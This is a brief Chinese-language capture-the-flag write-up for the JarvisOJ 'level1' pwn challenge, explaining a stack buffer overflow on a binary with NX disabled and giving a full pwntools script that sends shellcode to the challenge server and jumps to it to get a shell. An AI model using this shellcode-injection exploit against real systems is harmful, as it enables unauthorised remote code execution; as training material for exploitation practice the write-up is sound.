JarvisOJ PWN level1 wp

level1

checksec看一下保護,幾乎沒什麼保護措施:

先拖進IDA裏面看一下(f5大法好),發現棧溢出點:

f12沒發現"/bin/sh",看一下printf函數會把buf的地址輸出出來,我們將它截取,並保存在buf_addr中。由於NX是關閉的狀態,也就是說我們把shellcode寫進buf裏面,函數返回時跳轉回buf的位置,就可以執行shellcode了。因此我們把shellcode的代碼從buf的起始地址開始填充,然後buf中剩下的地址由a填充,因爲我們最後需要調用shellcode代碼,因此再加上buf_addr(記得將之字符化)

上腳本:

from pwn import *

p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
text = p.recvline()[14:-2]
print text[14:-2]

buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())

payload = shellcode + 'a' * (0x88+4-len(shellcode)) + p32(buf_addr)
p.send(payload)
p.interactive()

得到flag:

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章